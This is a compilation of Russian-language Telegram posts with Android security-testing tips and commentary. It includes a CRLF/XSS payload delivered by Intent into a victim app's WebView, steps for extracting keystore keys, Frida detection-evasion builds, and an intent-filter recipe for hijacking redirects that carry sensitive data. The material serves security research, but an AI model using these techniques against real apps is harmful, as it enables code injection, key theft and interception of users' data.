Продолжая тему фильтров стоит сказать про более сложный в эксплуатации вариант - фильтрация по белому списку. Приложение может принимать только заданный список доменов и отклонять все остальные. Но варианты эксплуатации есть и в этом случае. Нужно сместить фокус внимания на список разрешенных доменов и искать проблемы уже в них. Допустим мы хотим грузить произвольный контент в WebView. В этом случае может помочь найденная на одном из доменов белого списка уязвимость CRLF. Чаще всего ее можно трансформировать в возможность внедрения произвольного HTML, а там уже и XSS и все остальные приятные штуки с этим связанные. Сам эксплойт может выглядеть как-то так:

val payload = "%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e"  
  
val i = Intent().apply {  
    setClassName("com.app.victim", "com.app.victim.WebViewActivity")  
    putExtra("url", "https://whitelisted.victim.com/$payload")  
} 
  
startActivity(i)

Подробнее: раз, два.
#aht

Android предоставляет весьма широкие возможности по логированию различных событий. Одним из наиболее полезных, на мой взгляд, является логирование SQL запросов, которые делают приложения. Не важно, напрямую или через ORM. В логах будут те запросы, которые непосредственно выполняет БД. Включить эту возможность можно командой: adb shell setprop log.tag.SQLiteStatements VERBOSE. После чего в logcat должны появиться логи запросов. А если поискать в исходниках Android ссылки на метод isLoggable, то можно найти другие подобные теги и включить логирование для них аналогичным способом.
#aht

Параметризация скриптов для Frida может быть весьма полезной опцией когда написать что-то сложное уже нужно, но делать обертки на python пока не хочется. В этой ситуации поможет следующий трюк:

'use strict';

var argv = {};

rpc.exports = {
    init: function (stage, parameters) {
      argv = parameters;
    },
};

Java.perform(function() {
  if (argv.debug) {
    console.log('Debug message');
  }
  console.log('Main flow');
});

Теперь, если запустить фриду вот так:
frida -U -f com.myapp -l hook.js -P '{"debug":true}', то сработает ветка условия с отладочным сообщением.
#aht

Для удобной работы с Binder есть классная утилита с весьма экстравагантным названием: BDSM. Она сильно упрощает ковыряния в этой области системы, и позволяет например получить список всех системных сервисов и их методов (если AIDL загружен), а также узнать кто в системе использует этот сервис. Для демонстрации покажу как получить инфу по всем соединениям с БД и запросам: su -c bdsm dump dbinfo

Да, все эти возможности можно получить написав свое тестовое приложение и дергая в нем Context.getSystemService(..), но во-первых это требует гораздо больше телодвижений, а во-вторых названия сервисов еще нужно добыть из документации. А с помощью утилиты, просто вбиваем JCOLOR=1 su -c bdsm list и получаем все доступные сервисы. Ну и конечно ее можно использовать в сложных пайплайнах и скриптах.
Обязательно почитайте документацию!
#aht

Это должна была быть короткая заметка в Telegram, но потом что-то пошло не так... Делюсь своими мыслями по поводу новой редакции OWASP Mobile Top Ten 2023. Обсуждения приветствуются!

Чтобы не копировать каждый раз базу данных с устройства можно воспользоваться утилитой входящей в Android Studio: View -> Tool Windows -> App Inspection -> Database Inspector. Он покажет все базы данных с которыми работает приложение и даст возможность в них поковыряться. Единственный нюанс: приложение должно иметь флаг android:debuggable=true, иначе инспектор просто не увидит такое приложение. Установить этот флаг очень просто: разбираем приложение с помощью apktool, добавляем флаг в application и собираем заново.
#aht

Android собирает разную интересную статистику по использованию смартфона, которая может быть полезна товарищу майору специалистам по форензике. Одним из таких инструментов являются логи доступа к приложениям. Они показывают когда работали с приложением и сколько времени это заняло.

В простом варианте эти логи можно получить если в звонилке набрать "секретный код" *#*#4636#*#*. Откроется UsageStatsActivity из приложения Settings, в которой нужно ткнуть Usage statistics (другие пункты тоже обязательно потыкайте, там тоже интересно).

Более расширенную версию этих логов можно получить с помощью команды adb shell dumpsys usagestats | less и позалипать на прекрасное.

Отдельно скажу про комбинации вида *#*#<код>#*#*: их довольно много в системных приложениях, а также подобные комбинации используют обычные клиентские приложения для доступа ко всяким отладочным интерфейсам и не только.
#aht

Продолжим тему секретных кодов. Я покажу один из возможных способов их извлечения через dumpsys. Тут придется немного погрепать или что-то заскриптовать чтобы выглядело красиво, но в базовом варианте команда будет выглядеть так: adb shell dumpsys package -f | grep -A 5 "android.provider.Telephony.SECRET_CODE". Далее можно или бездумно вводить каждый код, пытаясь понять почему же он не работает, или исследовать receiver который этот код слушает.

В самих же кодах нет никакой магии. Например код *#*#225#*#* отправленный из звонилки приведет к отправке intent-а с URI: android_secret_code://225, который и будет разбирать целевой receiver. А это значит, что можно отправить такой intent из своего приложения, и если в receiver-е нет проверки на action, то он будет обработан. Так можно проэксплуатировать какую-нибудь уязвимость в receiver-е.
#aht

У ребят из Стингрей вышла статья про то, как магазины приложений проверяют приложения на уязвимости. Спойлер: очень плохо проверяют.

В общем-то для меня это довольно очевидное положение дел. Почему? Да потому что статический анализ приложений это сложно. Вероятно, если отдавать магазинам *.map файлы для деобфускации, то дело пошло бы лучше, но в здравом уме так делать никто не будет. Поэтому анализаторы вынуждены пытаться наковырять что-то в обфусцированной каше, которая может быть изначально написана на любых пришедших в голову разработчика технологиях. Даже навигация в приложениях до сих пор не стандартизирована. И скорее всего не будет =)
Короче, результат немного предсказуем и показывает что даже у Google нет нормального taint анализа и хорошо работающих подходов к автоматизированному сканированию приложений. Возможно ситуация улучшится с изобретением AGI, но это не точно ;)

В общем, господа разработчики - безопасность это ваша ответственность и никто кроме вас ее в приложении не сделает.

Ситуация: приложение хранит в keystore ключи, которые использует для шифрования/расшифровки некоторых данных в запросах. Возможности поставить хуки — нет. Нужно извлечь ключи. Сделать это на устройстве не выйдет, там hardware-backed keystore. Поэтому ставим приложение на эмулятор, проходим сценарий во время которого создаются ключи и забираем с эмулятора файл /data/misc/keystore/persistent.sqlite
Далее, делаем к этой базе запрос:

SELECT KE.id, KE.alias, BE.blob
FROM keyentry as KE  
JOIN blobentry as BE  
ON BE.keyentryid = KE.id  
WHERE KE.alias = 'secret'

Должны вернуться две записи. Одна для приватного, вторая для публичного ключа. Выгружаем содержимое поля blob в файлы blob1 и blob2 и натравливаем binwalk чтобы понять где какой ключ. Теперь выполняем команды для извлечения и перекодирования ключей:

$ openssl x509 -in blob1 -pubkey -noout > pub.pem
$ binwalk -D "private key":.der blob2
$ openssl rsa -in extracted.der -text > priv.pem

Все, теперь у нас есть ключи, которые использует приложение 😎
#aht

В нативных библиотеках можно найти много интересного. Но что если в приложении их штук 50, и не очень понятно с какими из них приложение работает напрямую, а какие являются зависимостями для других библиотек. Можно поискать по коду ключевое слово native, которое используется для обозначения методов вызываемых из библиотек, а можно поступить чуть-чуть проще и сразу увидеть всю возможную поверхность атаки c помощью утилиты nm. Для этого нужно распаковать приложение и выполнить следующую команду в директории с библиотеками:

$ nm -A -D *.so | grep -E "(Java_|JNI_OnLoad)" 2>/dev/null

В ответ получаем примерно следующее:

libTransform.so: 00000b8c T Java_com_huawei_location_lite_common_util_coordinateconverter_Transform_gcj02to84Native
libTransform.so: 000008ec T Java_com_huawei_location_lite_common_util_coordinateconverter_Transform_wgs84to02Native
libcrashlytics-handler.so: 00006968 T JNI_OnLoad
libcrashlytics.so: 00006f58 T JNI_OnLoad

Что помогает быстро понять какие библиотечные функции доступны в JVM мире.
#aht

Если приложение пытается бороться с фридой и не дает себя хукать, то можно попробовать поставить альтернативную сборку этого фреймворка, которая содержит полезные патчи, способные отстрелить базовые методы детекта. Патчи построены в основном на рандомизации и кодировании имен различных компонентов, чтобы понизить узнаваемость фриды для систем безопасности. Код патчей однозначно стоит изучить, потому что это хорошая отправная точка для создания собственной сборки со своим уникальным набором патчей, что позволит избегать обнаружения более успешно. Для любителей ставить фриду из модуля MagiskFrida, я сделал форк, который вместо оригинального репозитория, подтягивает уже запатченную фриду и собирает ее в модуль для Magisk. Сам форк не очень красивый, и PR-ы для улучшения приветствуются.
#aht

Классный доклад с удачным примером бинарной эксплуатации небезопасной десериализации в приложении AliExpress. Всем кто не стесняется заглядывать на уровень ниже виртуальной машины - однозначно рекомендую посмотреть.

Финальный эксплойт забирайте здесь. Пароль на архив: cc79dc9a77483e3de7c75c39bd13b41b

Существует много сценариев в которых приложение кидает юзера в веб, а потом через редирект возвращает обратно. Проблема том, что приложение может не знать про все возможные редиректы, которые происходят в вебе, а значит не учитывать какие-то из них. Если в url-е такого редиректа содержатся важные данные, то их можно перехватить создав activity с intent-фильтром под этот редирект:

<intent-filter android:label="Перейти в приложение">  
    <action android:name="android.intent.action.VIEW" />  
  
    <category android:name="android.intent.category.DEFAULT" />  
    <category android:name="android.intent.category.BROWSABLE" />  
  
    <data  
        android:host="victim.com"  
        android:pathPrefix="/pages/sensitive/data"  
        android:scheme="https" />  
</intent-filter>

После редиректа в уязвимом приложении, появится стандартный диалог, где будет браузер и приложение хакера. Нужно пошаманить с иконкой, чтобы юзер захотел кликнуть 😋 И после клика, данные улетят в приложение злоумышленника.
#aht

Рубрика #aht прощается с вами.

Это был очередной эксперимент с контентом канала, который я считаю в общем-то удачным. Но, как и всякий эксперимент, этот тоже должен быть завершен. Я поддерживал эту рубрику практически год, и в ней вышло 49 постов, которые, судя по реакциям, были кому-то полезны. У меня есть еще идеи для контента, часть из которых я планирую начать реализовывать с начала следующего года. Как всегда — без спойлеров. Чтобы оставить себе пространство для маневра 🙃Всех с наступающим!

Короч я устал отдыхать, и решил начать год с публикации материала для новичков. Надеюсь, что он будет полезен всем кто только пришел в мобильный инфобез или собирается прийти. Возможно я буду дополнять и актуализировать этот материал, если пойму, что упустил какие-то важные детали или что-то эволюционировало слишком сильно. Всем продуктивного года! 👨‍🔬

Бесконечно можно смотреть на три вещи: как горит огонь, как течет вода, и как выходит очередная статья про ssl pinning. Но на этот раз я попробовал посмотреть на этот вопрос с точки зрения необходимости применения этой технологии в мобильных приложениях. Для этого я смоделировал сценарий, когда на устройство пользователя попадает сертификат злоумышленника, и как себя в этом случае начинают вести разные компоненты мобильного приложения в зависимости от настроек безопасности.

Тут уже пара авторитетных изданий написали про очередную "новую", атаку на Android которая конечно же всех погубит:
- Introducing MavenGate: a supply chain attack method for Java and Android applications (Oversecured)
- Разбираемся с MavenGate, новой атакой на цепочку поставок для Java и Android-приложений (Stingray)

Если коротко: при определенных условиях (коих масса и шанс их наступления это большой вопрос) можно залить вредоносную библиотеку под видом легитимной и тем самым осуществить атаку на цепочку поставок.

Юлить не буду, мне эта проблема кажется очень сильно надуманной. Даже после прочтения этих статей, я не считаю, что она может где-то серьезно выстрелить. Может быть во мне говорит моя деформация разработчика, но чтобы допустить условия, которые требуются для успешной эксплуатации нужно очень сильно постараться. У кого-то наверняка получится так накосячить, но на текущий момент лично мне не хватает конкретного практического кейса, в котором бы похекали какое-то хоть сколь-нибудь заметное приложение.

В общем у кого есть желание, давайте обсудим это в комментариях. Может быть проблема действительно серьезная и всем разработчикам нужно начать боятся внимательнее следить за зависимостями, которые они затягивают в свои приложения (какой сюрприз 🫢)

Некоторое время назад разобрался и воспроизвел интересную уязвимость (CVE-2023-40121) в коде android фреймворка работающем с SQLite. Это тот редкий случай, когда в бюллетенях безопасности Android попадается действительно что-то интересное, а не всякие странные уязвимости позволяющие узнать существует какая-то иконка другого приложения или нет. Приятного чтения.

P.S. А вообще, если вам нравится все это творчество, то покидайте бустов на канал: https://www.tgoop.com/boost/android_guards_today 🌚
#cve

Продолжаем разбирать прикольные уязвимости. На этот раз у нас уязвимость в библиотеке Jetpack Navigation. Суть ее в том, что она позволяет стороннему приложению открыть любой экран атакуемого приложения и передать туда параметры. Круто звучит? Вот и я так думаю. А Google не считает это уязвимостью и после получения репорта нам ответили, что "поправят документацию". Не будь как Google, исправляй ошибки в своих приложениях! И знай чем грозит использование библиотеки Navigation.